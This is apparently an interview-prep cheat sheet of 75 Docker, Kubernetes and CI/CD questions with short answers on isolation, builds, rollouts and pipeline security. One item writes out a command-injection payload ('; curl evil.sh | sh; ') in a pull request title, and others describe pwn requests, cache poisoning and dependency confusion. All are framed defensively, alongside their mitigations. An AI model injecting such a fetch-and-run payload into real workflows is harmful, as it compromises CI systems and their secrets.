Docker and CI/CD Senior cheat sheet: interview answers

Every question of this level with its correct answer and explanation, on one page for a quick review before the interview.

  1. 1. Which kernel features do containers rely on for isolation and resource limits?

    Correct answer: Namespaces for isolation and cgroups for resource limits

    PID, network, mount, user and other namespaces give each container its own view; cgroups cap CPU, memory and I/O. There's no separate kernel, which is why kernel bugs matter.

  2. 2. How do Docker, containerd and runc relate?

    Correct answer: Docker uses containerd to manage containers; runc starts them

    runc implements the OCI runtime spec and creates the process with namespaces and cgroups. containerd manages images and lifecycles; Kubernetes talks to containerd directly without Docker.

  3. 3. What does an OCI image consist of?

    Correct answer: A manifest pointing to a config and a list of layer tarballs

    Everything is content-addressed by digest. A multi-platform image adds an index that points to one manifest per OS and architecture.

  4. 4. Why can appending one line to a 2 GB file in a container be slow?

    Correct answer: Overlay storage copies the whole file up to the writable layer first

    Copy-up happens on the first write to a file from a lower layer. Write-heavy data (databases, logs) belongs in volumes, which bypass the storage driver.

  5. 5. What does --cap-drop ALL --cap-add NET_BIND_SERVICE do?

    Correct answer: Removes all root privileges except binding to low ports

    Linux splits root's power into capabilities. Docker already drops many; dropping all and adding back only what's needed shrinks the damage a compromised process can do.

  6. 6. What does Docker's default seccomp profile do?

    Correct answer: Blocks dozens of risky system calls for container processes

    Calls like reboot, kernel module loading or some mount variants are denied, reducing kernel attack surface. --privileged or seccomp=unconfined turn this off.

  7. 7. Why is --privileged dangerous?

    Correct answer: It gives the container nearly full access to the host

    All capabilities, all devices, no seccomp or AppArmor limits: escaping to the host becomes trivial. Grant specific capabilities or devices instead.

  8. 8. What does rootless mode or user namespace remapping protect against?

    Correct answer: Root in the container maps to an unprivileged user on the host

    If a process escapes, it lands as an ordinary user rather than host root. Some features (low ports, certain storage drivers) need extra setup.

  9. 9. When are standard containers not enough isolation?

    Correct answer: Running untrusted code; use gVisor, Kata or microVMs

    All containers share the host kernel, so one kernel exploit breaks isolation. Sandboxed runtimes or lightweight VMs add a much stronger boundary for multi-tenant code.

  10. 10. What do image signing tools like Sigstore cosign add to a pipeline?

    Correct answer: Proof of who built an image, checked before it runs

    CI signs the digest (keyless with OIDC identities), and an admission controller rejects unsigned or wrongly signed images in the cluster.

  11. 11. What is an SBOM good for?

    Correct answer: Knowing which components an image contains for CVE triage

    When a new vulnerability lands, a software bill of materials tells you in minutes which images and services include the affected package.

  12. 12. What does SLSA build provenance describe?

    Correct answer: Where, how and from which source an artifact was built

    Signed provenance lets consumers verify an artifact came from the expected repository and a trusted build platform, not a developer laptop or a tampered runner.

  13. 13. What helps make a Docker build reproducible?

    Correct answer: Pinned base digests, lockfiles and fixed timestamps

    Variable inputs (moving tags, unpinned packages, file timestamps) change the output. SOURCE_DATE_EPOCH helps tools produce identical layers.

  14. 14. Why rebuild images regularly even when your code hasn't changed?

    Correct answer: To pick up security patches in the base image and OS packages

    CVEs are found in base images all the time. Scheduled rebuilds plus automated base-image update PRs keep running images patched.

  15. 15. How does one tag like node:22 serve both amd64 and arm64 hosts?

    Correct answer: The tag points to an image index listing per-platform manifests

    The client picks the manifest matching its platform. docker buildx imagetools inspect shows the entries.

  16. 16. Why can a multi-platform build be very slow on CI, and what helps?

    Correct answer: Foreign arches run under QEMU; use native builders or cross-compile

    Emulating arm64 on amd64 can be many times slower, especially for native module compilation. Native arm64 runners or --platform=$BUILDPLATFORM with cross-compilation avoid it.

  17. 17. What is the difference between --cache-to ...,mode=min and mode=max?

    Correct answer: min exports final-stage layers only; max exports all stages

    With multi-stage builds, max caches the builder stages too, so dependency installs are reused. It costs more storage and upload time.

  18. 18. In a monorepo, why might changing one package rebuild every app's Docker image?

    Correct answer: Each image copies the whole repo and the root lockfile

    Any change invalidates COPY . .. Pruning to the app's dependency subset (for example turbo prune) gives each image a minimal context and lockfile.

  19. 19. Why are environment variables not ideal for highly sensitive secrets?

    Correct answer: They leak via inspect output, child processes and crash dumps

    Anyone with docker inspect or access to /proc can read them, and error reporters often capture the environment. Mounted files from a secret store with short lifetimes are safer.

  20. 20. A Node service has a CPU limit of 0.5 and shows latency spikes under load. Why?

    Correct answer: CFS quota throttles it once the period's budget is spent

    The process can burst, burn its quota early in each 100 ms period and then wait. Watch throttling metrics; many teams set requests but avoid tight CPU limits.

  21. 21. Why can a container's memory usage appear high even when the app's heap is small?

    Correct answer: The cgroup also counts page cache, buffers and native memory

    File cache is reclaimable, but the working set (what OOM decisions use) includes more than the JS heap. Look at RSS and working set, not just heap stats.

  22. 22. A Node app spawns headless Chrome and the container fills up with zombie processes. Why?

    Correct answer: Node as PID 1 doesn't reap orphans; use an init like tini

    Orphaned grandchildren are re-parented to PID 1, which must wait() for them. --init, tini or shareProcessNamespace handles that.

  23. 23. Why do Kubernetes pods sometimes drop requests during a rolling update despite SIGTERM handling?

    Correct answer: Endpoint removal lags SIGTERM; a short preStop sleep covers it

    SIGTERM and removal from load balancers happen concurrently. If the app stops accepting connections immediately, in-flight routing still sends it traffic for a moment.

  24. 24. What does terminationGracePeriodSeconds control?

    Correct answer: How long after SIGTERM before Kubernetes sends SIGKILL

    The default is 30 seconds and it includes preStop. Long-running requests or queue jobs may need more, or need to be made resumable.

  25. 25. What is a startup probe for?

    Correct answer: Holding off liveness checks until a slow app has started

    Without it, a generous liveness delay is needed for slow starts, which also delays detecting real hangs later. The startup probe covers just the boot phase.

  26. 26. Why is it risky for a readiness probe to check a shared downstream database?

    Correct answer: If the DB blips, every pod goes unready and the service vanishes

    Removing all pods turns partial degradation into a full outage with no error responses. Check the pod's own ability to serve, and degrade gracefully on dependency failures.

  27. 27. Why can CPU-based autoscaling work poorly for an I/O-bound Node service?

    Correct answer: It can be saturated on connections or event-loop lag at low CPU

    If the bottleneck is waiting on I/O, CPU stays low while latency grows. Scale on request rate, concurrency, queue depth or latency via custom metrics.

  28. 28. What does a PodDisruptionBudget protect against?

    Correct answer: Node drains and other evictions taking too many pods

    With minAvailable: 2, a cluster upgrade drains nodes slowly enough to keep two replicas serving. It doesn't help with involuntary failures.

  29. 29. You redeploy my-app:latest but some nodes still run old code. Why?

    Correct answer: Nodes with the tag cached don't pull it again

    With IfNotPresent, a node reuses the image it has. Unchanged specs also don't trigger a rollout. Deploy immutable tags or digests instead.

  30. 30. You update a ConfigMap, but the pods still use the old values. Why?

    Correct answer: Env values are read at start; roll pods, e.g. via a hash annotation

    Mounted files update eventually, environment variables never. Many charts add a checksum of the config to the pod template so a change triggers a rolling restart.

  31. 31. Why is pull_request_target with a checkout of the PR's code dangerous?

    Correct answer: Untrusted PR code runs with secrets and a write token

    The event runs in the base repo context for labeling and commenting. Building the PR's code there lets an attacker's postinstall steal secrets: a classic "pwn request".

  32. 32. What is wrong with run: echo "${{ github.event.pull_request.title }}"?

    Correct answer: The title is put into the script, so it can inject commands

    A title like "; curl evil.sh | sh; " becomes part of the shell script. Pass untrusted values through env: and reference them as shell variables.

  33. 33. How can CI cache poisoning happen?

    Correct answer: Untrusted runs write cache entries that trusted runs later restore

    If a PR workflow can save a cache the release workflow restores, it can plant modified dependencies. Scope caches by branch and don't restore untrusted caches in release jobs.

  34. 34. An OIDC trust policy allows any workflow in the org to assume the production role. What's the risk?

    Correct answer: Any repo or branch could deploy to production

    Restrict the sub claim to the specific repository and protected branch or environment, so only the reviewed deploy job gets credentials.

  35. 35. Why should changes to .github/workflows get stricter review?

    Correct answer: Workflows control secrets and deploys, so edits can exfiltrate them

    A workflow change can print secrets or deploy anything. CODEOWNERS for the folder plus required reviews make the pipeline part of the trusted surface.

  36. 36. How do you speed up a large test suite that has to run on every PR?

    Correct answer: Shard tests across runners, balanced by past timings

    Splitting by file count leaves one shard far slower; timing-based splitting evens them out. Affected-test selection in monorepos reduces the work further.

  37. 37. What is the risk of automatically retrying failed tests in CI?

    Correct answer: Real race conditions get hidden behind green builds

    Retries are useful as a stopgap, but track which tests needed them and fix or quarantine those. Intermittent failures are often real concurrency bugs.

  38. 38. In a promotion pipeline, what changes between staging and production?

    Correct answer: Only the config injected at deploy time, not the artifact

    Promoting the same digest means what you tested is what you run. Environment-specific values come from config and secrets at deploy time.

  39. 39. What does progressive delivery with automated analysis add to a canary?

    Correct answer: Metrics decide whether to continue or roll back

    Tools like Argo Rollouts or Flagger query error rate and latency at each step and abort automatically, so nobody has to watch dashboards at 3 a.m.

  40. 40. Why compare a canary against a baseline running the old version at the same time?

    Correct answer: Both get the same traffic, so differences come from the code

    Comparing with last week's numbers mixes in traffic patterns and incidents. A same-size baseline deployed alongside isolates the effect of the change.

  41. 41. What is the hard part of blue-green deployment for a stateful app?

    Correct answer: Both colors usually share one database and its schema

    The switch is instant for code, not for data. Schema changes must work with both versions, and data written by green must still make sense if you switch back to blue.

  42. 42. What is the right order for renaming a column with zero downtime?

    Correct answer: Add new column, write both, backfill, switch reads, drop old

    Expand-and-contract keeps every intermediate state compatible with the code running at that moment, across several deploys.

  43. 43. Why run heavy data migrations separately from the deploy?

    Correct answer: Long locks or backfills can block traffic and stall the rollout

    Adding an index or rewriting a big table can lock it. Use online techniques (concurrent indexes, batched backfills) and keep deploys quick and reversible.

  44. 44. What is a kill switch in feature-flag terms?

    Correct answer: A flag that disables a feature in production without a deploy

    Ops toggles let you turn off an expensive or broken feature in seconds. Release toggles, by contrast, should be removed once the feature is fully launched.

  45. 45. What is shadow traffic (dark launching) used for?

    Correct answer: Mirroring real requests to a new version without using its replies

    The new service sees production load and data shapes, and responses can be compared. Side effects (writes, emails) must be disabled for mirrored requests.

  46. 46. When is rolling forward preferred over rolling back?

    Correct answer: When the change, like a migration, can't be safely undone

    Rollback is fastest when it's safe. With irreversible data changes, a quick fix deployed through a fast pipeline is often the safer recovery.

  47. 47. How does a GitOps controller handle someone changing the cluster by hand?

    Correct answer: It detects drift and reverts to what Git declares

    Continuous reconciliation makes Git the source of truth. Emergency fixes then need a commit too, otherwise they're silently undone.

  48. 48. How are secrets usually handled in a GitOps repository?

    Correct answer: Encrypted (SOPS, Sealed Secrets) or referenced from a vault

    Everything else is declared in Git, so secrets need encryption or an external store reference. Only the cluster's controller can decrypt or fetch them.

  49. 49. Why does a Terraform state file need care?

    Correct answer: It can hold secrets and needs locking to avoid conflicts

    State maps config to real resources and often contains sensitive values. Use a remote backend with encryption and locking, not a file in the repo.

  50. 50. Why post terraform plan output on infrastructure PRs?

    Correct answer: Reviewers see the exact resources that will change

    A one-line change can replace a database. Seeing "destroy and recreate" before merging prevents surprises; apply then runs from the reviewed plan.

  51. 51. What is the idea behind immutable servers?

    Correct answer: Never patch running servers; replace them with new images

    Hand-made changes cause configuration drift and "snowflake" servers. Rebuilding from versioned images keeps every instance identical and reproducible.

  52. 52. What does dev/prod parity mean in twelve-factor terms?

    Correct answer: Keep time, people and tools gaps between environments small

    Using SQLite locally and PostgreSQL in production hides bugs. Containers make it easy to run the same backing services everywhere.

  53. 53. What are ephemeral preview environments?

    Correct answer: A short-lived full deployment for each pull request

    Reviewers and designers try the change at its own URL, and it's torn down on merge. Costs and test data for backing services need planning.

  54. 54. A team's change failure rate is near zero, but they deploy once a quarter. What does that suggest?

    Correct answer: Large, rare releases; failures are hidden in long lead times

    DORA metrics should be read together. Infrequent releases tend to be big and slow to fix when they do fail.

  55. 55. Why do mature teams focus on time to restore more than on avoiding every failure?

    Correct answer: Failures will happen; fast detection and recovery limit harm

    Investments in monitoring, quick rollbacks and small changes reduce impact far more than adding gates that slow every release.

  56. 56. Why do small batches reduce deployment risk?

    Correct answer: Each change is easy to review and pin down when it breaks

    If a deploy contains one change, the cause of a regression is obvious and rollback loses little. Big releases mix many risks together.

  57. 57. When do release trains make more sense than continuous deployment?

    Correct answer: When users must install updates, as with mobile app stores

    Store reviews and user updates make every release costly, so a fixed cadence with server-side flags is common. The backend can still deploy continuously.

  58. 58. Why prefer ephemeral self-hosted runners that take a single job?

    Correct answer: No state or malware can carry over from one job to the next

    Persistent runners accumulate caches, credentials and possibly compromise. Autoscaling ephemeral runners give a clean machine per job.

  59. 59. Why avoid Docker-in-Docker with --privileged for building images in CI?

    Correct answer: Privileged jobs can take over the runner host

    Rootless BuildKit, kaniko-style builders or remote builders produce images without giving jobs full host access.

  60. 60. Why do registries need retention policies?

    Correct answer: Every CI build pushes images, so storage and cost keep growing

    Keep release tags and recent builds, expire untagged and PR images. Make sure images still referenced by deployments or rollbacks are never deleted.

  61. 61. Your scanner reports 40 CVEs, 30 with no fix available. What's a sensible policy?

    Correct answer: Fail on fixable high-severity issues; track the rest

    Gating on unfixable issues blocks everything and teaches people to bypass the gate. Prioritize by severity, fix availability and whether the code path is reachable.

  62. 62. What is dependency confusion?

    Correct answer: A public package with your internal name gets installed

    If the resolver checks the public registry first or prefers higher versions, an attacker can publish your-internal-lib@99.0.0. Use scoped packages and pin registries per scope.

  63. 63. A secret was printed in a public CI log. What must happen?

    Correct answer: Revoke and rotate it, then delete the log and find the cause

    Assume it's already been copied. Deleting the log only reduces further exposure; rotation is what actually closes the hole.

  64. 64. What are the main limits of Docker Compose for production?

    Correct answer: Single host, no real rolling updates or self-healing

    Compose is great for development and small single-server apps. Multi-node scheduling, zero-downtime rollouts and failover need an orchestrator or a managed platform.

  65. 65. What does start_period in a Docker healthcheck do?

    Correct answer: Ignores failures while the app boots, unless it passes first

    Slow-starting apps would otherwise be marked unhealthy before they're ready. A success during the period ends it early.

  66. 66. Why should frequently changing layers come last and shared base layers stay stable?

    Correct answer: Nodes already hold the base layers and pull only the small top ones

    If all services share one base image, a deploy downloads just the app layer. Rebuilding the base for every release forces full pulls everywhere.

  67. 67. What's the risk of running migrations in an init container of a Deployment with several replicas?

    Correct answer: Each replica runs them at once, so they may race

    Use a migration tool with a lock, or run migrations as a separate Job (or pipeline step) before rolling out the new version.

  68. 68. What must change to scale a web app that keeps sessions in process memory?

    Correct answer: Move sessions to a shared store or use stateless tokens

    Without shared state, users are logged out when they hit another replica or a pod restarts. Sticky sessions only hide the problem.

  69. 69. Why add deploy markers to monitoring dashboards?

    Correct answer: Regressions can be tied to the deploy behind them

    Most incidents follow a change. Seeing a latency jump right after a marker shortens diagnosis and makes rollback decisions obvious.

  70. 70. How can SLO error budgets govern releases?

    Correct answer: When the budget is spent, risky releases pause for fixes

    The budget turns reliability into a shared, objective rule: plenty left means ship faster; burned means prioritize stability work.

  71. 71. What do BuildKit's --secret and --ssh have in common?

    Correct answer: They give one RUN credentials without writing them to layers

    --ssh forwards an SSH agent for cloning private repos; --secret mounts a file. Both vanish after the step, unlike ARG or COPY.

  72. 72. Why might COPY . . invalidate the cache on every CI run even if no code changed?

    Correct answer: Files like .git or build output change and aren't ignored

    BuildKit hashes file contents and metadata in the context. A missing .dockerignore entry for .git, coverage or dist busts the layer each time.

  73. 73. What does the --platform=$BUILDPLATFORM trick in a builder stage achieve?

    Correct answer: The build stage runs natively and cross-compiles for the target

    Compile steps run at native speed, using TARGETOS and TARGETARCH to produce output for each target. Only the small final stage is per-platform.

  74. 74. Why should a deploy job use a concurrency group without cancelling runs in progress?

    Correct answer: Cancelling a half-finished deploy can leave production inconsistent

    Queueing deploys keeps them in order and lets each finish. Cancelling is fine for test runs, where stopping midway has no side effects.

  75. 75. What does docker buildx build attestation (--provenance, --sbom) attach?

    Correct answer: Provenance and SBOM metadata stored with the image

    Attestations are stored as extra manifests in the image index, so scanners and policies can read how the image was built and what it contains.